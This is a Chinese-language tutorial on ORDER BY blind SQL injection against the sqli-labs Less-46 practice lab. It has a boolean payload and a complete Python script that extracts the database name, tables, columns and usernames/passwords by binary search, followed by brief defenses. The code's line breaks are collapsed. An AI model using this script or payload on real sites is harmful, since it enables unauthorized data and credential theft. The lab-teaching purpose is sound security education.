目录
一.order by盲注的原理
二.注入方式
a.布尔盲注
b.时间盲注
三.防御
一.order by盲注的原理
order by子句是用于按指定列排序查询结果,列名或列序号皆可。
order by 后面接的字段或者数字不一样,那么这个数据表的排序就会不同。
order by 盲注利用的就是这一点。
二.注入方式
环境为sqli-labs的46关,参数为sort传入id
a.布尔盲注
传入1时
传入2时
传入3时
不同字段的顺序是不同的,根据这个结果,我们可以用rand()实现盲注
?sort=rand(ascii(substr((select database()),1,1))>114)
转为ASCII码来比较真假,为真时第一列为admin3,为假时第一列为Dumb
下面是脚本内容
import time
import requests
from bs4 import BeautifulSoupdef inject_database(url): #库dataname = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select database()),%d,1))>%d) " % (i, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)return datanamedef inject_tables(url, database_name):#表tables = []for i in range(0, 10): table_name = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select table_name from information_schema.tables where table_schema='%s' limit %d,1),%d,1)) > %d) " % (database_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breaktable_name += chr(mid)if table_name:tables.append(table_name)print(f"Table {i+1}: {table_name}")return tablesdef inject_columns(url, database_name, table_name):#列columns = []for i in range(0, 10): column_name = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),%d,1)) > %d) " % (database_name, table_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakcolumn_name += chr(mid)if column_name:columns.append(column_name)print(f"Column {i+1}: {column_name}")return columnsdef inject_data(url, database_name, table_name, column_name):#数据data = []for i in range(0, 10): row_data = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select %s from %s.%s limit %d,1),%d,1)) > %d) " % (column_name, database_name, table_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakrow_data += chr(mid)if row_data:data.append(row_data)print(f"Row {i+1}: {row_data}")return dataif __name__ == '__main__':url = 'http://127.0.0.1/sqli/Less-46/'database_name = inject_database(url)print(f"Database Name: {database_name}")tables = inject_tables(url, database_name)print(f"Tables: {tables}")if tables:columns = inject_columns(url, database_name, tables[3])print(f"Columns: {columns}")if columns:username = inject_data(url, database_name, tables[3], columns[1])password = inject_data(url, database_name, tables[3], columns[2])print(f"Data: {username}")print(f"Data: {password}")
b.时间盲注
时间盲注不依赖页面内容,直接通过响应时间判断条件,因此无需解析html
三.防御
1.预编译,如PHP的PDO
2.最小权限原则,限制数据库用户权限,仅允许执行必要的操作。
3.输入长度限制
4.部署WAF